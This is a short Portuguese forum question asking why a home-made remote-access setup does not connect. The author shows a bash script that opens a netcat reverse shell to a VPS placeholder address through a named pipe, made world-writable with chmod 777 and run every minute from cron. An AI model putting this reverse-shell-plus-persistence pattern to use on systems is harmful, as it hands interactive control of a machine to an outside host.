Configurei uma conexão em minha máquina pessoal, usando este código:
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc VPS_IP_ADDRESS_HERE 1234 < f | /bin/bash -i > f 2>&1
fi
Quero me conectar a ele de outra máquina diferente em uma rede diferente, então comprei um VPS! Substituí o texto VPS_IP_ADDRESS_HERE
pelo endereço IP do meu VPS. Então certifiquei-me de dar permissões ao script com chmod 777 /etc/whatever
. Também fiz um crontab para garantir que o script bash seja executado a cada minuto e configurei-o com o seguinte código:
* * * * * /etc/whatever
Agora, em uma máquina diferente, fiz SSH no VPS e executei o comando, nc -l -p 1234
mas nenhuma conexão aconteceu nem nada! Por favor ajude!